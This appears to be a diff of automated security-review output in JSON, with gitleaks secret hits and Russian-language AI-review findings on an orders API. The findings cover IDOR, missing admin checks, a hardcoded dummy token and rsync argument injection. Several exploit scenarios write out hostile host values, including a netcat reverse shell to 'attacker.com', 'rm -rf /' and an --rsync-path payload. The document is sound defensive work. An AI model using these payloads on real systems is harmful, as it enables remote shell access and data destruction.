"recommendation": "Переставить проверку роли админа до проверки аутентификации, и проверять role (например, токен вида token_admin:userA или наличие role в JWT). Или использовать отдельный API-ключ/secret только для admin-эндпоинтов.",
"cwe": "CWE-285",
"status": "OPEN",
"created_at": "2026-08-23T18:52:27Z",
"pr_number": 13,
"commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
},
{
"id": "ai-review-3-orders.py-15",
"source": "ai-review",
"category": "sensitive-data",
"severity": "medium",
"confidence": 1.0,
"file": "orders.py",
"line_start": 15,
"line_end": 15,
"title": "Хардкод токена GitHub в коде",
"description": "Токен GitHub хранится в коде как строковая константа, что является плохой практикой и может привести к его утечке в репозитории, логах, дампах памяти.",
"impact": "Утечка учетных данных, возможность атаки на GitHub API, CI/CD. Даже фейковый токен сигнализирует о плохих практиках.",
"exploit_scenario": "Атакующий клонирует репозиторий, находит GitHubToken, использует его для попыток доступа к API. Наличие dummy-токена может стимулировать атаку на поиск реальных секретов.",
"evidence": "GitHubToken = \"ghp_dummytoken_for_backup_notifications\" — отсутствует использование os.getenv.",
"recommendation": "Использовать os.getenv(\"GITHUB_TOKEN\") или внешний менеджер секретов. Загрузить токен из переменной окружения.",
"cwe": "CWE-312",
"status": "OPEN",
"created_at": "2026-08-23T18:52:27Z",
"pr_number": 13,
"commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
}
]
@@ -1,56 +0,0 @@
[
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:27",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 27,
"line_end": 27,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-23T18:54:02Z",
"pr_number": 13,
"commit_sha": "4098606aff8e55a4446bbe2e141972caf5f3cf90"
},
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:36",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 36,
"line_end": 36,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-23T18:54:02Z",
"pr_number": 13,
"commit_sha": "4098606aff8e55a4446bbe2e141972caf5f3cf90"
},
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:52",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 52,
"line_end": 52,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-23T18:54:02Z",
"pr_number": 13,
"commit_sha": "4098606aff8e55a4446bbe2e141972caf5f3cf90"
}
]
@@ -1,65 +0,0 @@
[
{
"id": "ai-review-0-orders.py-43",
"source": "ai-review",
"category": "idor",
"severity": "high",
"confidence": 1.0,
"file": "orders.py",
"line_start": 43,
"line_end": 47,
"title": "IDOR при чтении заказов — отсутствие проверки ownership",
"description": "Метод do_GET для /orders/{id} проверяет аутентификацию, но не проверяет, что заказ принадлежит текущему пользователю. Пользователь может прочитать любой заказ по ID.",
"impact": "Любой аутентифицированный пользователь может читать чужие заказы, что ведёт к утечке конфиденциальных данных о финансовых операциях.",
"exploit_scenario": "Пользователь с токеном token_userA отправляет GET /orders/100 и получает данные чужого заказа, включая amount и user_id.",
"evidence": "def do_GET(self): ... if order_id in orders: self.send_json_response(200, orders[order_id]) — нет проверки orders[order_id].get(\"user_id\") != getattr(self, \"_user_id\", None).",
"recommendation": "Добавить проверку: if orders[order_id].get(\"user_id\") != getattr(self, \"_user_id\", None): self.send_json_response(403, {\"error\": \"Forbidden\"}).",
"cwe": "CWE-639",
"status": "OPEN",
"created_at": "2026-08-23T18:54:38Z",
"pr_number": 13,
"commit_sha": "4098606aff8e55a4446bbe2e141972caf5f3cf90"
},
{
"id": "ai-review-1-orders.py-105",
"source": "ai-review",
"category": "command-exec",
"severity": "critical",
"confidence": 1.0,
"file": "orders.py",
"line_start": 105,
"line_end": 122,
"title": "Недостаточная валидация хоста — возможная инъекция в rsync",
"description": "Метод _validate_host проверяет только формат IP/домена, но не блокирует потенциально опасные символы и конструкции (например, пробелы, '--rsync-path=', других опций rsync), что может привести к выполнению произвольных команд при вызове subprocess.run([\"rsync\", ...]).",
"impact": "Возможна полная компрометация сервера — выполнение произвольных команд с правами процесса.",
"exploit_scenario": "Атакующий отправляет POST /admin/backup с host='example.com --rsync-path=/tmp/evil.sh'. Даже если регулярное выражение пропустит строку, она может быть интерпретирована как доп. опция rsync или использована для обхода валидации. Проверка _validate_host не исключает наличие других аргументов команды.",
"evidence": "cmd = [\"rsync\", \"-avz\", \"/workspace/\", f\"{validated_host}:/backup/orders/\"] — validated_host проходит только регулярку, но может содержать опции rsync или управляющие символы.",
"recommendation": "Полностью отказаться от произвольного host — использовать белый список предопределённых хостов из конфига, либо дополнить валидацию запретом на все пробелы, дефисы в начале и все символы, начинающиеся с '--'.",
"cwe": "CWE-78",
"status": "OPEN",
"created_at": "2026-08-23T18:54:38Z",
"pr_number": 13,
"commit_sha": "4098606aff8e55a4446bbe2e141972caf5f3cf90"
},
{
"id": "ai-review-2-orders.py-65",
"source": "ai-review",
"category": "authz",
"severity": "high",
"confidence": 1.0,
"file": "orders.py",
"line_start": 65,
"line_end": 75,
"title": "Эндпоинт /admin/backup доступен любому аутентифицированному пользователю",
"description": "Эндпоинт проверяет только наличие токена (начинающегося с token_), но не проверяет, что пользователь является администратором, несмотря на наличие проверки self._user_id == \"admin\".",
"impact": "Любой пользователь, имеющий валидный токен (включая обычные пользовательские токены), может инициировать резервное копирование и потенциально использовать уязвимость валидации хоста для RCE.",
"exploit_scenario": "Пользователь с token_user отправляет POST /admin/backup с вредоносным host. Проверка self._user_id == \"admin\" находится в том же блоке, что и сам эндпоинт, но проверка аутентификации идёт после, и _user_id может быть установлен до проверки роли — возможна путаница в логике и обход.",
"evidence": "elif self.path == \"/admin/backup\": if not getattr(self, \"_user_id\", None) == \"admin\": ... if not self.check_auth(): ... — проверка роли идет ПОСЛЕ установки _user_id в check_auth, но неясно, будет ли проверка роли применена для всех случаев — особенно при обработке заголовков.",
"recommendation": "Вынести проверку роли admin до проверки аутентификации, и проверять наличие роли явно, например: auth_ok = self.check_auth(); if not auth_ok: ...; if getattr(self, '_user_id', None) != 'admin': ...",
"cwe": "CWE-285",
"status": "OPEN",
"created_at": "2026-08-23T18:54:38Z",
"pr_number": 13,
"commit_sha": "4098606aff8e55a4446bbe2e141972caf5f3cf90"
}
]
@@ -1,56 +0,0 @@
[
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:27",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 27,
"line_end": 27,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-23T19:05:09Z",
"pr_number": 13,
"commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
},
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:36",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 36,
"line_end": 36,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-23T19:05:09Z",
"pr_number": 13,
"commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
},
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:52",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 52,
"line_end": 52,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-23T19:05:09Z",
"pr_number": 13,
"commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
}
]
@@ -1,107 +0,0 @@
[
{
"id": "ai-review-0-orders.py-40",
"source": "ai-review",
"category": "idor",
"severity": "high",
"confidence": 1.0,
"file": "orders.py",
"line_start": 40,
"line_end": 50,
"title": "IDOR при чтении заказов",
"description": "После добавления валидации токена и извлечения user_id в do_GET для /orders/{id} отсутствует проверка, что заказ принадлежит текущему пользователю. Любой аутентифицированный пользователь может читать чужие заказы по ID.",
"impact": "Утечка конфиденциальных данных о финансовых операциях — пользователь может получить сумму и другие детали чужого заказа.",
"exploit_scenario": "Пользователь с токеном token_alice отправляет GET /orders/100, где orders[100] принадлежит bob (user_id=bob). В текущей реализации проверка orders[order_id].get(\"user_id\") != getattr(self, \"_user_id\", None) происходит только при изменении заказа (в do_POST), но не при чтении.",
"evidence": "do_GET: order_id = self.path.split(\"/\")[-1]\nif order_id in orders:\n self.send_json_response(200, orders[order_id]) — нет проверки владельца заказа. В do_POST добавлена проверка, но в do_GET её нет.",
"recommendation": "Добавить проверку ownership в do_GET: if orders[order_id].get(\"user_id\") != getattr(self, \"_user_id\", None): 403 Forbidden.",
"cwe": "CWE-639",
"status": "OPEN",
"created_at": "2026-08-23T19:05:52Z",
"pr_number": 13,
"commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
},
{
"id": "ai-review-1-orders.py-105",
"source": "ai-review",
"category": "injection",
"severity": "critical",
"confidence": 0.95,
"file": "orders.py",
"line_start": 105,
"line_end": 130,
"title": "Недостаточная валидация хоста для rsync",
"description": "Метод _validate_host проверяет формат IP/домена, но не блокирует опции rsync (например, --rsync-path=), пробелы в середине строки, URL-схемы, которые могут интерпретироваться как аргументы rsync и привести к RCE.",
"impact": "Командная инъекция — атакующий может выполнить произвольную команду на сервере с правами процесса приложения через rsync.",
"exploit_scenario": "Атакующий отправляет POST /admin/backup с payload {\"host\": \"example.com --rsync-path=nc -e /bin/sh attacker.com 4444\"}. Несмотря на регулярные выражения, rsync может интерпретировать часть строки как опции командной строки. Даже без shell=True, rsync поддерживает множество опций, которые можно использовать для обхода.",
"evidence": "def _validate_host(self, host): ... ip_pattern = r'^(\\d{1,3}\\.){3}\\d{1,3}$' ... domain_pattern = r'^([a-zA-Z0-9]([a-zA-Z0-9\\-]{0,61}[a-zA-Z0-9])?\\.)+[a-zA-Z]{2,}$' — не блокирует '--', пробелы, URL-схемы (rsync://).\ncmd = [\"rsync\", \"-avz\", \"/workspace/\", f\"{validated_host}:/backup/orders/\"] — подстановка без дополнительной проверки.",
"recommendation": "Существенно усилить валидацию: запретить пробелы и '--', проверить отсутствие URL-схем, использовать строгий белый список (например, только домены из конфига или IP из предустановленного списка), либо полностью отказаться от произвольного host.",
"cwe": "CWE-78",
"status": "OPEN",
"created_at": "2026-08-23T19:05:52Z",
"pr_number": 13,
"commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
},
{
"id": "ai-review-2-orders.py-80",
"source": "ai-review",
"category": "authz",
"severity": "high",
"confidence": 1.0,
"file": "orders.py",
"line_start": 80,
"line_end": 88,
"title": "Отсутствие проверки роли admin для /admin/backup",
"description": "Эндпоинт /admin/backup требует только Bearer токен (начинающийся с token_), но не проверяет роль администратора до проверки токена, что позволяет любому аутентифицированному пользователю вызывать эндпоинт, включая потенциально опасные операции rsync.",
"impact": "Любой пользователь с валидным пользовательским токеном может инициировать бэкап и использовать уязвимость валидации хоста для RCE или утечки данных.",
"exploit_scenario": "Пользователь token_user отправляет POST /admin/backup с вредоносным host. Проверка if not getattr(self, \"_user_id\", None) == \"admin\": идет в том же блоке, но порядок проверок может быть неочевидным и позволяет пройти аутентификацию до проверки роли.",
"evidence": "elif self.path == \"/admin/backup\":\n if not self.check_auth():\n 401\n if not getattr(self, \"_user_id\", None) == \"admin\":\n 403\n\nЭто позволяет получить любой валидный токен (включая token_userA), после чего _user_id будет установлен, и проверка на 'admin' может быть пропущена в случае логической ошибки (например, если check_auth не устанавливает _user_id как ожидается).",
"recommendation": "Изменить порядок проверок: сначала проверить роль admin, затем аутентификацию, либо вынести эндпоинт в отдельный обработчик с более строгими требованиями (например, отдельный API-ключ или JWT claim admin=true).",
"cwe": "CWE-285",
"status": "OPEN",
"created_at": "2026-08-23T19:05:52Z",
"pr_number": 13,
"commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
},
{
"id": "ai-review-3-orders.py-80",
"source": "ai-review",
"category": "command-exec",
"severity": "critical",
"confidence": 0.95,
"file": "orders.py",
"line_start": 80,
"line_end": 110,
"title": "Командная инъекция через подстановку host в rsync",
"description": "Метод _perform_backup использует подстановку пользовательского ввода host напрямую в команду rsync, даже после валидации. Несмотря на использование списка аргументов (subprocess.run([\"rsync\", ...], shell=False)), rsync может интерпретировать часть строки как опции (например, --rsync-path).",
"impact": "RCE — выполнение произвольных команд на сервере с правами процесса.",
"exploit_scenario": "Атакующий отправляет POST /admin/backup с payload {\"host\": \"example.com:22 --rsync-path=/tmp/evil.sh\"}. Даже если _validate_host не отфильтрует строку, rsync может интерпретировать это как опцию командной строки и выполнить произвольный скрипт.",
"evidence": "validated_host = self._validate_host(host)\nif not validated_host: ...\ncmd = [\"rsync\", \"-avz\", \"/workspace/\", f\"{validated_host}:/backup/orders/\"] — validated_host может содержать '--' или другие опции, если валидация недостаточно строгая.",
"recommendation": "Полностью отказаться от произвольного host, использовать белый список из конфига, либо сильнее валидировать: запретить все пробелы, '--', URL-схемы, и использовать строгие регулярные выражения.",
"cwe": "CWE-78",
"status": "OPEN",
"created_at": "2026-08-23T19:05:52Z",
"pr_number": 13,
"commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
},
{
"id": "ai-review-4-orders.py-15",
"source": "ai-review",
"category": "sensitive-data",
"severity": "medium",
"confidence": 1.0,
"file": "orders.py",
"line_start": 15,
"line_end": 15,
"title": "Хардкод токена GitHub в коде",
"description": "Токен GitHub хранится в исходном коде как строковая константа: GitHubToken = \"ghp_dummytoken_for_backup_notifications\". Несмотря на префикс dummy, это плохая практика и может сигнализировать о других проблемах.",
"impact": "Утечка учетных данных, возможность атак на GitHub API или CI/CD, а также снижение доверия к коду со стороны ревьюеров.",
"exploit_scenario": "Атакующий клонирует репозиторий, находит токен в коде, и пытается использовать его для доступа к API. Наличие dummy-токена может стимулировать поиск других секретов.",
"evidence": "GitHubToken = \"ghp_dummytoken_for_backup_notifications\" — нет использования os.getenv(\"GITHUB_TOKEN\").",
"recommendation": "Использовать os.getenv(\"GITHUB_TOKEN\") или внешний менеджер секретов.",
"cwe": "CWE-312",
"status": "OPEN",
"created_at": "2026-08-23T19:05:52Z",
"pr_number": 13,
"commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
}
]
@@ -1,56 +0,0 @@
[
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:27",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 27,
"line_end": 27,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-25T02:26:57Z",
"pr_number": 13,
"commit_sha": "0a7736e8a5156e6d59bdea10b0501bb4e194e983"
},
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:36",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 36,
"line_end": 36,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-25T02:26:57Z",
"pr_number": 13,
"commit_sha": "0a7736e8a5156e6d59bdea10b0501bb4e194e983"
},
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:52",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 52,
"line_end": 52,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-25T02:26:57Z",
"pr_number": 13,
"commit_sha": "0a7736e8a5156e6d59bdea10b0501bb4e194e983"
}
]
@@ -0,0 +1 @@
[]
@@ -0,0 +1,86 @@
[
{
"id": "ai-review-0-orders.py-70",
"source": "ai-review",
"category": "command-exec",
"severity": "critical",
"confidence": 1.0,
"file": "orders.py",
"line_start": 70,
"line_end": 70,
"title": "Небезопасное использование пользовательского ввода в subprocess.run",
"description": "Значение параметра host берётся из JSON-запроса и напрямую подставляется в команду rsync без валидации или экранирования, что позволяет выполнить произвольные команды через специально сформированный host.",
"impact": "Полный компрометация сервера — атакующий может выполнить любую команду на хосте с правами процесса приложения.",
"exploit_scenario": "Атакующий отправляет POST-запрос на /admin/backup с payload в поле host, например: host = \"example.com; rm -rf /\" или host = \"example.com$(whoami).attacker.com\" (если rsync интерпретирует host как URL). Так как строка разбивается в список аргументов, более реалистичный вектор — ввод с пробелами и спецсимволами, которые интерпретируются оболочкой при запуске через shell, либо использование pipe/sleep, либо ввод в формате, который вызывает поведение rsync, приводящее к RCE (например, уязвимости rsync, либо выполнение shell через опции командной строки). Наиболее вероятный сценарий — использование команды rsync с опциями, распознаваемыми как отдельные аргументы, или применение инъекции, если rsync сам по себе интерпретирует host-строку как URL с встроенными командами.",
"evidence": "self._perform_backup(backup_host) → subprocess.run([\"rsync\", \"-avz\", \"/workspace/\", f\"{host}:/backup/orders/\"]) — строка host напрямую подставляется в команду без валидации.",
"recommendation": "Запретить произвольные host-значения: использовать белый список разрешённых хостов, проверить формат IP/домена, использовать строгую валидацию (например, регулярным выражением) и/или экранировать аргументы (например, добавлять флаги '--' или использовать строго типизированный вызов без shell, но лучше — полностью отказаться от подстановки пользовательских строк в аргументы команд).",
"cwe": "CWE-78",
"status": "OPEN",
"created_at": "2026-08-23T15:30:27Z",
"pr_number": 9,
"commit_sha": "7518ef2749ff1481236c7b95d7b557e372d399c4"
},
{
"id": "ai-review-1-orders.py-15",
"source": "ai-review",
"category": "sensitive-data",
"severity": "high",
"confidence": 1.0,
"file": "orders.py",
"line_start": 15,
"line_end": 15,
"title": "Жёстко закодированный токен GitHub в исходном коде",
"description": "Токен 'ghp_dummytoken_for_backup_notifications' захардкожен в коде. Несмотря на префикс 'dummy', это чувствительное значение, и оно может быть случайно обнаружено в репозитории.",
"impact": "Возможна утечка учётных данных, если репозиторий станет публичным, или если токен окажется в логах или артефактах сборки.",
"exploit_scenario": "Потенциальный атакующий сканирует GitHub или делает git clone репозитория и находит токен. Даже если это фейковый токен, наличие таких 'дамми' токенов часто указывает на плохие практики управления секретами.",
"evidence": "GitHubToken = \"ghp_dummytoken_for_backup_notifications\"",
"recommendation": "Использовать переменные окружения или специализированный менеджер секретов (Vault, AWS Secrets Manager и т.п.) и не хранить токены в коде.",
"cwe": "CWE-312",
"status": "OPEN",
"created_at": "2026-08-23T15:30:27Z",
"pr_number": 9,
"commit_sha": "7518ef2749ff1481236c7b95d7b557e372d399c4"
},
{
"id": "ai-review-2-orders.py-32",
"source": "ai-review",
"category": "idor",
"severity": "medium",
"confidence": 1.0,
"file": "orders.py",
"line_start": 32,
"line_end": 37,
"title": "Отсутствие проверки прав доступа к заказам",
"description": "Пользователи могут читать и модифицировать любые заказы по order_id, без привязки к собственному user_id.",
"impact": "Пользователь может просмотреть и изменить чужие заказы, что может привести к финансовым потерям или утечке данных.",
"exploit_scenario": "Пользователь отправляет GET /orders/123 и получает данные чужого заказа, либо POST /orders/123 с amount=999999 и переназначает чужой заказ.",
"evidence": "order_id = self.path.split(\"/\")[-1]; orders[order_id][\"amount\"] = data[\"amount\"] — никакой проверки ownership.",
"recommendation": "Добавить проверку, что order_id принадлежит текущему пользователю, например, по session или JWT claim user_id.",
"cwe": "CWE-639",
"status": "OPEN",
"created_at": "2026-08-23T15:30:27Z",
"pr_number": 9,
"commit_sha": "7518ef2749ff1481236c7b95d7b557e372d399c4"
},
{
"id": "ai-review-3-orders.py-41",
"source": "ai-review",
"category": "authz",
"severity": "high",
"confidence": 1.0,
"file": "orders.py",
"line_start": 41,
"line_end": 41,
"title": "Открытый доступ к административному endpoint /admin/backup без аутентификации",
"description": "Эндпоинт /admin/backup доступен любому пользователю, не требует аутентификации или авторизации.",
"impact": "Любой желающий может инициировать резервное копирование и использовать уязвимость командной инъекции.",
"exploit_scenario": "Анонимный атакующий отправляет POST /admin/backup с вредоносным host.",
"evidence": "elif self.path == \"/admin/backup\": — нет проверки self.headers.get(\"Authorization\") или аналогов.",
"recommendation": "Добавить аутентификацию (например, Basic Auth или API-ключ), проверку прав и ограничение IP.",
"cwe": "CWE-306",
"status": "OPEN",
"created_at": "2026-08-23T15:30:27Z",
"pr_number": 9,
"commit_sha": "7518ef2749ff1481236c7b95d7b557e372d399c4"
}
]